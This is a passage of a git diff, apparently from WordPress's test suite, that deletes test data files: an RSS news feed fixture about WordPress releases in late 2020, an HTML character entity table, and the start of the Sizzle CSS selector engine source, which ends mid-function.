If you think you’ve found a bug, you can post to the Alpha/Beta area in the support forums. We’d love to hear from you!
-]]>
-
-
-
- 9234
-
- The Month in WordPress: October 2020
- https://wordpress.org/news/2020/11/the-month-in-wordpress-october-2020/
-
-
- Mon, 02 Nov 2020 18:14:00 +0000
-
- https://wordpress.org/news/?p=9225
-
-
- October 2020 was a notable month for WordPress lovers, thanks to the release of several products and updates. Read on to keep up with all the latest news!
-
-
-
-
-
-
-
-
The 2020 WordPress Annual Survey is out
-
-
-
-
The team published the 2020 WordPress Annual survey — to help those who build WordPress to understand more about our software usage and our contributors’ experience. The Annual Survey will be open for at least 6 weeks and is available in French, German, Japanese, Russian, and Spanish. The survey results (once complete) will be posted on WordPress.org/news. The 2019 survey results have also been released and can now be viewed as slides or downloaded in PDF format.
-
-
-
-
WordPress Translation celebrations spanned four weeks
-
-
-
-
The last week of September and most of October were focused on recruiting and encouraging polyglot contributors to the WordPress translation project. What was originally envisioned as a single-day event lasted 24 days! The Polyglots and Marketing Teams are exploring how future mini-events can be supported to continue building the momentum. Recordings of the live talks and interviews with contributors are available on YouTube. Write-ups from the different events are on the WPTranslationDay website.
The Core team released WordPress 5.5.3 on Oct. 31, following the release of Version 5.5.2 on Oct. 29. Both releases fix several bugs and security issues with WordPress. You can update to the latest version directly from your WordPress dashboard or download it now from WordPress.org. The team also released WordPress 5.6 Beta 1 on Oct. 20, followed by Beta 2 on Oct. 27. When ready, the final release will include improvements to the editor, auto-updates for major releases, PHP 8 support, and the Twenty Twenty One theme. You can test the Beta versions by downloading them from WordPress.org or using the WordPress Beta Tester plugin.
Version 9.2 of the Gutenberg plugin came out on Oct. 21. This release offers support for video subtitles, the ability to transform selected blocks into the columns block, background patterns in cover blocks, along with several exciting features such as improvements to the widget screen, as well as bug fixes. You can find out more about the Gutenberg roadmap in the What’s next in Gutenberg blog post.
The Q3 2020 update from the WordPress project is now out!
The WordPress Marketing team has put together a list of WordPress 5.5 marketing resources consisting of video presentations, slides, questions & answers, social media posts, and more – aimed at both developers and non-developers. The team has also prepared a list of captioned screen-recordings in several languages to aid new contributors. Contact the team on the #marketing channel if you would like to contribute to these and upcoming projects.
WordPress Accessibility enthusiasts all over the world joined hands for the first ever 24 hour WP Accessibility day event on Oct. 2. You can find the recorded livestream of the event on its YouTube channel.
This maintenance release fixes an issue introduced in WordPress 5.5.2 which makes it impossible to install WordPress on a brand new website that does not have a database connection configured. This release does not affect sites where a database connection is already configured, for example, via one-click installers or an existing wp-config.php file.
-
-
-
-
5.5.3-alpha Issue
-
-
-
-
Earlier today — between approximately 15:30 and 16:00 UTC — the auto-update system for WordPress updated some sites from version 5.5.2 to version 5.5.3-alpha. This auto-update was due to an error in the Updates API caused by the 5.5.3 release preparations (see more here). The 5.5.3-alpha version at this point was functionally identical to 5.5.2 as no development work had been started on 5.5.3; however, the following changes may have been made to your site:
-
-
-
-
The default “Twenty” themes installed as part of the pre-release package.
The “Akismet” plugin installed as part of the pre-release package.
-
-
-
-
These themes and plugins were not activated and therefore remain non-functional unless you installed them previously. It is safe to delete these features should you prefer not to use them.
-
-
-
-
If you are not on 5.5.2, or have auto-updates for minor releases disabled, please manually update to the 5.5.3 version by downloading WordPress 5.5.3 or visiting Dashboard → Updates and click “Update Now.”
-]]>
-
-
-
- 9212
-
-
diff --git a/tests/data/formatting/big5.txt b/tests/data/formatting/big5.txt
deleted file mode 100644
index e599bb2..0000000
--- a/tests/data/formatting/big5.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-
-
-
-ʽ
-
diff --git a/tests/data/formatting/entities.txt b/tests/data/formatting/entities.txt
deleted file mode 100644
index 358a9b8..0000000
--- a/tests/data/formatting/entities.txt
+++ /dev/null
@@ -1,255 +0,0 @@
-### Named HTML character entities, their numeric reference
-### (e.g. for [0-9]+; entity form), and their use.
-### From: http://www.w3.org/TR/html401/sgml/entities.html
-###
-nbsp | 160 ### no-break space
-iexcl | 161 ### inverted exclamation mark
-cent | 162 ### cent sign
-pound | 163 ### pound sterling sign
-curren | 164 ### general currency sign
-yen | 165 ### yen sign
-brvbar | 166 ### broken (vertical) bar
-sect | 167 ### section sign
-uml | 168 ### umlaut (dieresis)
-copy | 169 ### copyright sign
-ordf | 170 ### ordinal indicator, feminine
-laquo | 171 ### angle quotation mark, left
-not | 172 ### not sign
-shy | 173 ### soft hyphen
-reg | 174 ### registered sign
-macr | 175 ### macron
-deg | 176 ### degree sign
-plusmn | 177 ### plus-or-minus sign
-sup2 | 178 ### superscript two
-sup3 | 179 ### superscript three
-acute | 180 ### acute accent
-micro | 181 ### micro sign
-para | 182 ### pilcrow (paragraph sign)
-middot | 183 ### middle dot
-cedil | 184 ### cedilla
-sup1 | 185 ### superscript one
-ordm | 186 ### ordinal indicator, masculine
-raquo | 187 ### angle quotation mark, right
-frac14 | 188 ### fraction one-quarter
-frac12 | 189 ### fraction one-half
-frac34 | 190 ### fraction three-quarters
-iquest | 191 ### inverted question mark
-Agrave | 192 ### capital A, grave accent
-Aacute | 193 ### capital A, acute accent
-Acirc | 194 ### capital A, circumflex accent
-Atilde | 195 ### capital A, tilde
-Auml | 196 ### capital A, dieresis or umlaut mark
-Aring | 197 ### capital A, ring
-AElig | 198 ### capital AE diphthong (ligature)
-Ccedil | 199 ### capital C, cedilla
-Egrave | 200 ### capital E, grave accent
-Eacute | 201 ### capital E, acute accent
-Ecirc | 202 ### capital E, circumflex accent
-Euml | 203 ### capital E, dieresis or umlaut mark
-Igrave | 204 ### capital I, grave accent
-Iacute | 205 ### capital I, acute accent
-Icirc | 206 ### capital I, circumflex accent
-Iuml | 207 ### capital I, dieresis or umlaut mark
-ETH | 208 ### capital Eth, Icelandic
-Ntilde | 209 ### capital N, tilde
-Ograve | 210 ### capital O, grave accent
-Oacute | 211 ### capital O, acute accent
-Ocirc | 212 ### capital O, circumflex accent
-Otilde | 213 ### capital O, tilde
-Ouml | 214 ### capital O, dieresis or umlaut mark
-times | 215 ### multiply sign
-Oslash | 216 ### capital O, slash
-Ugrave | 217 ### capital U, grave accent
-Uacute | 218 ### capital U, acute accent
-Ucirc | 219 ### capital U, circumflex accent
-Uuml | 220 ### capital U, dieresis or umlaut mark
-Yacute | 221 ### capital Y, acute accent
-THORN | 222 ### capital THORN, Icelandic
-szlig | 223 ### small sharp s, German (sz ligature)
-agrave | 224 ### small a, grave accent
-aacute | 225 ### small a, acute accent
-acirc | 226 ### small a, circumflex accent
-atilde | 227 ### small a, tilde
-auml | 228 ### small a, dieresis or umlaut mark
-aring | 229 ### small a, ring
-aelig | 230 ### small ae diphthong (ligature)
-ccedil | 231 ### small c, cedilla
-egrave | 232 ### small e, grave accent
-eacute | 233 ### small e, acute accent
-ecirc | 234 ### small e, circumflex accent
-euml | 235 ### small e, dieresis or umlaut mark
-igrave | 236 ### small i, grave accent
-iacute | 237 ### small i, acute accent
-icirc | 238 ### small i, circumflex accent
-iuml | 239 ### small i, dieresis or umlaut mark
-eth | 240 ### small eth, Icelandic
-ntilde | 241 ### small n, tilde
-ograve | 242 ### small o, grave accent
-oacute | 243 ### small o, acute accent
-ocirc | 244 ### small o, circumflex accent
-otilde | 245 ### small o, tilde
-ouml | 246 ### small o, dieresis or umlaut mark
-divide | 247 ### divide sign
-oslash | 248 ### small o, slash
-ugrave | 249 ### small u, grave accent
-uacute | 250 ### small u, acute accent
-ucirc | 251 ### small u, circumflex accent
-uuml | 252 ### small u, dieresis or umlaut mark
-yacute | 253 ### small y, acute accent
-thorn | 254 ### small thorn, Icelandic
-yuml | 255 ### small y, dieresis or umlaut mark
-fnof | 402 ### latin small f with hook, =function, =florin, u+0192 ISOtech
-Alpha | 913 ### greek capital letter alpha, u+0391
-Beta | 914 ### greek capital letter beta, u+0392
-Gamma | 915 ### greek capital letter gamma, u+0393 ISOgrk3
-Delta | 916 ### greek capital letter delta, u+0394 ISOgrk3
-Epsilon | 917 ### greek capital letter epsilon, u+0395
-Zeta | 918 ### greek capital letter zeta, u+0396
-Eta | 919 ### greek capital letter eta, u+0397
-Theta | 920 ### greek capital letter theta, u+0398 ISOgrk3
-Iota | 921 ### greek capital letter iota, u+0399
-Kappa | 922 ### greek capital letter kappa, u+039A
-Lambda | 923 ### greek capital letter lambda, u+039B ISOgrk3
-Mu | 924 ### greek capital letter mu, u+039C
-Nu | 925 ### greek capital letter nu, u+039D
-Xi | 926 ### greek capital letter xi, u+039E ISOgrk3
-Omicron | 927 ### greek capital letter omicron, u+039F
-Pi | 928 ### greek capital letter pi, u+03A0 ISOgrk3
-Rho | 929 ### greek capital letter rho, u+03A1
-Sigma | 931 ### greek capital letter sigma, u+03A3 ISOgrk3
-Tau | 932 ### greek capital letter tau, u+03A4
-Upsilon | 933 ### greek capital letter upsilon, u+03A5 ISOgrk3
-Phi | 934 ### greek capital letter phi, u+03A6 ISOgrk3
-Chi | 935 ### greek capital letter chi, u+03A7
-Psi | 936 ### greek capital letter psi, u+03A8 ISOgrk3
-Omega | 937 ### greek capital letter omega, u+03A9 ISOgrk3
-alpha | 945 ### greek small letter alpha, u+03B1 ISOgrk3
-beta | 946 ### greek small letter beta, u+03B2 ISOgrk3
-gamma | 947 ### greek small letter gamma, u+03B3 ISOgrk3
-delta | 948 ### greek small letter delta, u+03B4 ISOgrk3
-epsilon | 949 ### greek small letter epsilon, u+03B5 ISOgrk3
-zeta | 950 ### greek small letter zeta, u+03B6 ISOgrk3
-eta | 951 ### greek small letter eta, u+03B7 ISOgrk3
-theta | 952 ### greek small letter theta, u+03B8 ISOgrk3
-iota | 953 ### greek small letter iota, u+03B9 ISOgrk3
-kappa | 954 ### greek small letter kappa, u+03BA ISOgrk3
-lambda | 955 ### greek small letter lambda, u+03BB ISOgrk3
-mu | 956 ### greek small letter mu, u+03BC ISOgrk3
-nu | 957 ### greek small letter nu, u+03BD ISOgrk3
-xi | 958 ### greek small letter xi, u+03BE ISOgrk3
-omicron | 959 ### greek small letter omicron, u+03BF NEW
-pi | 960 ### greek small letter pi, u+03C0 ISOgrk3
-rho | 961 ### greek small letter rho, u+03C1 ISOgrk3
-sigmaf | 962 ### greek small letter final sigma, u+03C2 ISOgrk3
-sigma | 963 ### greek small letter sigma, u+03C3 ISOgrk3
-tau | 964 ### greek small letter tau, u+03C4 ISOgrk3
-upsilon | 965 ### greek small letter upsilon, u+03C5 ISOgrk3
-phi | 966 ### greek small letter phi, u+03C6 ISOgrk3
-chi | 967 ### greek small letter chi, u+03C7 ISOgrk3
-psi | 968 ### greek small letter psi, u+03C8 ISOgrk3
-omega | 969 ### greek small letter omega, u+03C9 ISOgrk3
-thetasym| 977 ### greek small letter theta symbol, u+03D1 NEW
-upsih | 978 ### greek upsilon with hook symbol, u+03D2 NEW
-piv | 982 ### greek pi symbol, u+03D6 ISOgrk3
-bull | 8226 ### bullet, =black small circle, u+2022 ISOpub
-hellip | 8230 ### horizontal ellipsis, =three dot leader, u+2026 ISOpub
-prime | 8242 ### prime, =minutes, =feet, u+2032 ISOtech
-Prime | 8243 ### double prime, =seconds, =inches, u+2033 ISOtech
-oline | 8254 ### overline, =spacing overscore, u+203E NEW
-frasl | 8260 ### fraction slash, u+2044 NEW
-weierp | 8472 ### script capital P, =power set, =Weierstrass p, u+2118 ISOamso
-image | 8465 ### blackletter capital I, =imaginary part, u+2111 ISOamso
-real | 8476 ### blackletter capital R, =real part symbol, u+211C ISOamso
-trade | 8482 ### trade mark sign, u+2122 ISOnum
-alefsym | 8501 ### alef symbol, =first transfinite cardinal, u+2135 NEW
-larr | 8592 ### leftwards arrow, u+2190 ISOnum
-uarr | 8593 ### upwards arrow, u+2191 ISOnum
-rarr | 8594 ### rightwards arrow, u+2192 ISOnum
-darr | 8595 ### downwards arrow, u+2193 ISOnum
-harr | 8596 ### left right arrow, u+2194 ISOamsa
-crarr | 8629 ### downwards arrow with corner leftwards, =carriage return, u+21B5 NEW
-lArr | 8656 ### leftwards double arrow, u+21D0 ISOtech
-uArr | 8657 ### upwards double arrow, u+21D1 ISOamsa
-rArr | 8658 ### rightwards double arrow, u+21D2 ISOtech
-dArr | 8659 ### downwards double arrow, u+21D3 ISOamsa
-hArr | 8660 ### left right double arrow, u+21D4 ISOamsa
-forall | 8704 ### for all, u+2200 ISOtech
-part | 8706 ### partial differential, u+2202 ISOtech
-exist | 8707 ### there exists, u+2203 ISOtech
-empty | 8709 ### empty set, =null set, =diameter, u+2205 ISOamso
-nabla | 8711 ### nabla, =backward difference, u+2207 ISOtech
-isin | 8712 ### element of, u+2208 ISOtech
-notin | 8713 ### not an element of, u+2209 ISOtech
-ni | 8715 ### contains as member, u+220B ISOtech
-prod | 8719 ### n-ary product, =product sign, u+220F ISOamsb
-sum | 8721 ### n-ary sumation, u+2211 ISOamsb
-minus | 8722 ### minus sign, u+2212 ISOtech
-lowast | 8727 ### asterisk operator, u+2217 ISOtech
-radic | 8730 ### square root, =radical sign, u+221A ISOtech
-prop | 8733 ### proportional to, u+221D ISOtech
-infin | 8734 ### infinity, u+221E ISOtech
-ang | 8736 ### angle, u+2220 ISOamso
-and | 8743 ### logical and, =wedge, u+2227 ISOtech
-or | 8744 ### logical or, =vee, u+2228 ISOtech
-cap | 8745 ### intersection, =cap, u+2229 ISOtech
-cup | 8746 ### union, =cup, u+222A ISOtech
-int | 8747 ### integral, u+222B ISOtech
-there4 | 8756 ### therefore, u+2234 ISOtech
-sim | 8764 ### tilde operator, =varies with, =similar to, u+223C ISOtech
-cong | 8773 ### approximately equal to, u+2245 ISOtech
-asymp | 8776 ### almost equal to, =asymptotic to, u+2248 ISOamsr
-ne | 8800 ### not equal to, u+2260 ISOtech
-equiv | 8801 ### identical to, u+2261 ISOtech
-le | 8804 ### less-than or equal to, u+2264 ISOtech
-ge | 8805 ### greater-than or equal to, u+2265 ISOtech
-sub | 8834 ### subset of, u+2282 ISOtech
-sup | 8835 ### superset of, u+2283 ISOtech
-nsub | 8836 ### not a subset of, u+2284 ISOamsn
-sube | 8838 ### subset of or equal to, u+2286 ISOtech
-supe | 8839 ### superset of or equal to, u+2287 ISOtech
-oplus | 8853 ### circled plus, =direct sum, u+2295 ISOamsb
-otimes | 8855 ### circled times, =vector product, u+2297 ISOamsb
-perp | 8869 ### up tack, =orthogonal to, =perpendicular, u+22A5 ISOtech
-sdot | 8901 ### dot operator, u+22C5 ISOamsb
-lceil | 8968 ### left ceiling, =apl upstile, u+2308, ISOamsc
-rceil | 8969 ### right ceiling, u+2309, ISOamsc
-lfloor | 8970 ### left floor, =apl downstile, u+230A, ISOamsc
-rfloor | 8971 ### right floor, u+230B, ISOamsc
-lang | 9001 ### left-pointing angle bracket, =bra, u+2329 ISOtech
-rang | 9002 ### right-pointing angle bracket, =ket, u+232A ISOtech
-loz | 9674 ### lozenge, u+25CA ISOpub
-spades | 9824 ### black spade suit, u+2660 ISOpub
-clubs | 9827 ### black club suit, =shamrock, u+2663 ISOpub
-hearts | 9829 ### black heart suit, =valentine, u+2665 ISOpub
-diams | 9830 ### black diamond suit, u+2666 ISOpub
-quot | 34 ### quotation mark, =apl quote, u+0022 ISOnum
-amp | 38 ### ampersand, u+0026 ISOnum
-lt | 60 ### less-than sign, u+003C ISOnum
-gt | 62 ### greater-than sign, u+003E ISOnum
-OElig | 338 ### latin capital ligature oe, u+0152 ISOlat2
-oelig | 339 ### latin small ligature oe, u+0153 ISOlat2
-Scaron | 352 ### latin capital letter s with caron, u+0160 ISOlat2
-scaron | 353 ### latin small letter s with caron, u+0161 ISOlat2
-Yuml | 376 ### latin capital letter y with diaeresis, u+0178 ISOlat2
-circ | 710 ### modifier letter circumflex accent, u+02C6 ISOpub
-tilde | 732 ### small tilde, u+02DC ISOdia
-ensp | 8194 ### en space, u+2002 ISOpub
-emsp | 8195 ### em space, u+2003 ISOpub
-thinsp | 8201 ### thin space, u+2009 ISOpub
-zwnj | 8204 ### zero width non-joiner, u+200C NEW RFC 2070
-zwj | 8205 ### zero width joiner, u+200D NEW RFC 2070
-lrm | 8206 ### left-to-right mark, u+200E NEW RFC 2070
-rlm | 8207 ### right-to-left mark, u+200F NEW RFC 2070
-ndash | 8211 ### en dash, u+2013 ISOpub
-mdash | 8212 ### em dash, u+2014 ISOpub
-lsquo | 8216 ### left single quotation mark, u+2018 ISOnum
-rsquo | 8217 ### right single quotation mark, u+2019 ISOnum
-sbquo | 8218 ### single low-9 quotation mark, u+201A NEW
-ldquo | 8220 ### left double quotation mark, u+201C ISOnum
-rdquo | 8221 ### right double quotation mark, u+201D ISOnum
-bdquo | 8222 ### double low-9 quotation mark, u+201E NEW
-dagger | 8224 ### dagger, u+2020 ISOpub
-Dagger | 8225 ### double dagger, u+2021 ISOpub
-permil | 8240 ### per mille sign, u+2030 ISOtech
-lsaquo | 8249 ### single left-pointing angle quotation mark; proposed but not yet standardised
-rsaquo | 8250 ### single right-pointing angle quotation mark; proposed but not yet standardised
diff --git a/tests/data/formatting/file-header-cr-line-endings.php b/tests/data/formatting/file-header-cr-line-endings.php
deleted file mode 100644
index aebe7c5..0000000
--- a/tests/data/formatting/file-header-cr-line-endings.php
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/tests/data/formatting/remove_accents.01.input.txt b/tests/data/formatting/remove_accents.01.input.txt
deleted file mode 100644
index 09da682..0000000
--- a/tests/data/formatting/remove_accents.01.input.txt
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/tests/data/formatting/sizzle.js b/tests/data/formatting/sizzle.js
deleted file mode 100644
index 6816c43..0000000
--- a/tests/data/formatting/sizzle.js
+++ /dev/null
@@ -1,1445 +0,0 @@
-/*!
- * Sizzle CSS Selector Engine
- * Copyright 2011, The Dojo Foundation
- * Released under the MIT, BSD, and GPL Licenses.
- * More information: http://sizzlejs.com/
- */
-(function(){
-
-var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
- expando = "sizcache" + (Math.random() + '').replace('.', ''),
- done = 0,
- toString = Object.prototype.toString,
- hasDuplicate = false,
- baseHasDuplicate = true,
- rBackslash = /\\/g,
- rReturn = /\r\n/g,
- rNonWord = /\W/;
-
-// Here we check if the JavaScript engine is using some sort of
-// optimization where it does not always call our comparision
-// function. If that is the case, discard the hasDuplicate value.
-// Thus far that includes Google Chrome.
-[0, 0].sort(function() {
- baseHasDuplicate = false;
- return 0;
-});
-
-var Sizzle = function( selector, context, results, seed ) {
- results = results || [];
- context = context || document;
-
- var origContext = context;
-
- if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
- return [];
- }
-
- if ( !selector || typeof selector !== "string" ) {
- return results;
- }
-
- var m, set, checkSet, extra, ret, cur, pop, i,
- prune = true,
- contextXML = Sizzle.isXML( context ),
- parts = [],
- soFar = selector;
-
- // Reset the position of the chunker regexp (start from head)
- do {
- chunker.exec( "" );
- m = chunker.exec( soFar );
-
- if ( m ) {
- soFar = m[3];
-
- parts.push( m[1] );
-
- if ( m[2] ) {
- extra = m[3];
- break;
- }
- }
- } while ( m );
-
- if ( parts.length > 1 && origPOS.exec( selector ) ) {
-
- if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
- set = posProcess( parts[0] + parts[1], context, seed );
-
- } else {
- set = Expr.relative[ parts[0] ] ?
- [ context ] :
- Sizzle( parts.shift(), context );
-
- while ( parts.length ) {
- selector = parts.shift();
-
- if ( Expr.relative[ selector ] ) {
- selector += parts.shift();
- }
-
- set = posProcess( selector, set, seed );
- }
- }
-
- } else {
- // Take a shortcut and set the context if the root selector is an ID
- // (but not if it'll be faster if the inner selector is an ID)
- if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
- Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
-
- ret = Sizzle.find( parts.shift(), context, contextXML );
- context = ret.expr ?
- Sizzle.filter( ret.expr, ret.set )[0] :
- ret.set[0];
- }
-
- if ( context ) {
- ret = seed ?
- { expr: parts.pop(), set: makeArray(seed) } :
- Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
-
- set = ret.expr ?
- Sizzle.filter( ret.expr, ret.set ) :
- ret.set;
-
- if ( parts.length > 0 ) {
- checkSet = makeArray( set );
-
- } else {
- prune = false;
- }
-
- while ( parts.length ) {
- cur = parts.pop();
- pop = cur;
-
- if ( !Expr.relative[ cur ] ) {
- cur = "";
- } else {
- pop = parts.pop();
- }
-
- if ( pop == null ) {
- pop = context;
- }
-
- Expr.relative[ cur ]( checkSet, pop, contextXML );
- }
-
- } else {
- checkSet = parts = [];
- }
- }
-
- if ( !checkSet ) {
- checkSet = set;
- }
-
- if ( !checkSet ) {
- Sizzle.error( cur || selector );
- }
-
- if ( toString.call(checkSet) === "[object Array]" ) {
- if ( !prune ) {
- results.push.apply( results, checkSet );
-
- } else if ( context && context.nodeType === 1 ) {
- for ( i = 0; checkSet[i] != null; i++ ) {
- if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
- results.push( set[i] );
- }
- }
-
- } else {
- for ( i = 0; checkSet[i] != null; i++ ) {
- if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
- results.push( set[i] );
- }
- }
- }
-
- } else {
- makeArray( checkSet, results );
- }
-
- if ( extra ) {
- Sizzle( extra, origContext, results, seed );
- Sizzle.uniqueSort( results );
- }
-
- return results;
-};
-
-Sizzle.uniqueSort = function( results ) {
- if ( sortOrder ) {
- hasDuplicate = baseHasDuplicate;
- results.sort( sortOrder );
-
- if ( hasDuplicate ) {
- for ( var i = 1; i < results.length; i++ ) {
- if ( results[i] === results[ i - 1 ] ) {
- results.splice( i--, 1 );
- }
- }
- }
- }
-
- return results;
-};
-
-Sizzle.matches = function( expr, set ) {
- return Sizzle( expr, null, null, set );
-};
-
-Sizzle.matchesSelector = function( node, expr ) {
- return Sizzle( expr, null, null, [node] ).length > 0;
-};
-
-Sizzle.find = function( expr, context, isXML ) {
- var set, i, len, match, type, left;
-
- if ( !expr ) {
- return [];
- }
-
- for ( i = 0, len = Expr.order.length; i < len; i++ ) {
- type = Expr.order[i];
-
- if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
- left = match[1];
- match.splice( 1, 1 );
-
- if ( left.substr( left.length - 1 ) !== "\\" ) {
- match[1] = (match[1] || "").replace( rBackslash, "" );
- set = Expr.find[ type ]( match, context, isXML );
-
- if ( set != null ) {
- expr = expr.replace( Expr.match[ type ], "" );
- break;
- }
- }
- }
- }
-
- if ( !set ) {
- set = typeof context.getElementsByTagName !== "undefined" ?
- context.getElementsByTagName( "*" ) :
- [];
- }
-
- return { set: set, expr: expr };
-};
-
-Sizzle.filter = function( expr, set, inplace, not ) {
- var match, anyFound,
- type, found, item, filter, left,
- i, pass,
- old = expr,
- result = [],
- curLoop = set,
- isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
-
- while ( expr && set.length ) {
- for ( type in Expr.filter ) {
- if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
- filter = Expr.filter[ type ];
- left = match[1];
-
- anyFound = false;
-
- match.splice(1,1);
-
- if ( left.substr( left.length - 1 ) === "\\" ) {
- continue;
- }
-
- if ( curLoop === result ) {
- result = [];
- }
-
- if ( Expr.preFilter[ type ] ) {
- match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
-
- if ( !match ) {
- anyFound = found = true;
-
- } else if ( match === true ) {
- continue;
- }
- }
-
- if ( match ) {
- for ( i = 0; (item = curLoop[i]) != null; i++ ) {
- if ( item ) {
- found = filter( item, match, i, curLoop );
- pass = not ^ found;
-
- if ( inplace && found != null ) {
- if ( pass ) {
- anyFound = true;
-
- } else {
- curLoop[i] = false;
- }
-
- } else if ( pass ) {
- result.push( item );
- anyFound = true;
- }
- }
- }
- }
-
- if ( found !== undefined ) {
- if ( !inplace ) {
- curLoop = result;
- }
-
- expr = expr.replace( Expr.match[ type ], "" );
-
- if ( !anyFound ) {
- return [];
- }
-
- break;
- }
- }
- }
-
- // Improper expression
- if ( expr === old ) {
- if ( anyFound == null ) {
- Sizzle.error( expr );
-
- } else {
- break;
- }
- }
-
- old = expr;
- }
-
- return curLoop;
-};
-
-Sizzle.error = function( msg ) {
- throw new Error( "Syntax error, unrecognized expression: " + msg );
-};
-
-/**
- * Utility function for retreiving the text value of an array of DOM nodes
- * @param {Array|Element} elem
- */
-var getText = Sizzle.getText = function( elem ) {
- var i, node,
- nodeType = elem.nodeType,
- ret = "";
-
- if ( nodeType ) {
- if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
- // Use textContent || innerText for elements
- if ( typeof elem.textContent === 'string' ) {
- return elem.textContent;
- } else if ( typeof elem.innerText === 'string' ) {
- // Replace IE's carriage returns
- return elem.innerText.replace( rReturn, '' );
- } else {
- // Traverse it's children
- for ( elem = elem.firstChild; elem; elem = elem.nextSibling) {
- ret += getText( elem );
- }
- }
- } else if ( nodeType === 3 || nodeType === 4 ) {
- return elem.nodeValue;
- }
- } else {
-
- // If no nodeType, this is expected to be an array
- for ( i = 0; (node = elem[i]); i++ ) {
- // Do not traverse comment nodes
- if ( node.nodeType !== 8 ) {
- ret += getText( node );
- }
- }
- }
- return ret;
-};
-
-var Expr = Sizzle.selectors = {
- order: [ "ID", "NAME", "TAG" ],
-
- match: {
- ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
- CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
- NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
- ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
- TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
- CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
- POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
- PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
- },
-
- leftMatch: {},
-
- attrMap: {
- "class": "className",
- "for": "htmlFor"
- },
-
- attrHandle: {
- href: function( elem ) {
- return elem.getAttribute( "href" );
- },
- type: function( elem ) {
- return elem.getAttribute( "type" );
- }
- },
-
- relative: {
- "+": function(checkSet, part){
- var isPartStr = typeof part === "string",
- isTag = isPartStr && !rNonWord.test( part ),
- isPartStrNotTag = isPartStr && !isTag;
-
- if ( isTag ) {
- part = part.toLowerCase();
- }
-
- for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
- if ( (elem = checkSet[i]) ) {
- while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
-
- checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
- elem || false :
- elem === part;
- }
- }
-
- if ( isPartStrNotTag ) {
- Sizzle.filter( part, checkSet, true );
- }
- },
-
- ">": function( checkSet, part ) {
- var elem,
- isPartStr = typeof part === "string",
- i = 0,
- l = checkSet.length;
-
- if ( isPartStr && !rNonWord.test( part ) ) {
- part = part.toLowerCase();
-
- for ( ; i < l; i++ ) {
- elem = checkSet[i];
-
- if ( elem ) {
- var parent = elem.parentNode;
- checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
- }
- }
-
- } else {
- for ( ; i < l; i++ ) {
- elem = checkSet[i];
-
- if ( elem ) {
- checkSet[i] = isPartStr ?
- elem.parentNode :
- elem.parentNode === part;
- }
- }
-
- if ( isPartStr ) {
- Sizzle.filter( part, checkSet, true );
- }
- }
- },
-
- "": function(checkSet, part, isXML){
- var nodeCheck,
- doneName = done++,
- checkFn = dirCheck;
-
- if ( typeof part === "string" && !rNonWord.test( part ) ) {
- part = part.toLowerCase();
- nodeCheck = part;
- checkFn = dirNodeCheck;
- }
-
- checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
- },
-
- "~": function( checkSet, part, isXML ) {
- var nodeCheck,
- doneName = done++,
- checkFn = dirCheck;
-
- if ( typeof part === "string" && !rNonWord.test( part ) ) {
- part = part.toLowerCase();
- nodeCheck = part;
- checkFn = dirNodeCheck;
- }
-
- checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
- }
- },
-
- find: {
- ID: function( match, context, isXML ) {
- if ( typeof context.getElementById !== "undefined" && !isXML ) {
- var m = context.getElementById(match[1]);
- // Check parentNode to catch when Blackberry 4.6 returns
- // nodes that are no longer in the document #6963
- return m && m.parentNode ? [m] : [];
- }
- },
-
- NAME: function( match, context ) {
- if ( typeof context.getElementsByName !== "undefined" ) {
- var ret = [],
- results = context.getElementsByName( match[1] );
-
- for ( var i = 0, l = results.length; i < l; i++ ) {
- if ( results[i].getAttribute("name") === match[1] ) {
- ret.push( results[i] );
- }
- }
-
- return ret.length === 0 ? null : ret;
- }
- },
-
- TAG: function( match, context ) {
- if ( typeof context.getElementsByTagName !== "undefined" ) {
- return context.getElementsByTagName( match[1] );
- }
- }
- },
- preFilter: {
- CLASS: function( match, curLoop, inplace, result, not, isXML ) {
- match = " " + match[1].replace( rBackslash, "" ) + " ";
-
- if ( isXML ) {
- return match;
- }
-
- for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
- if ( elem ) {
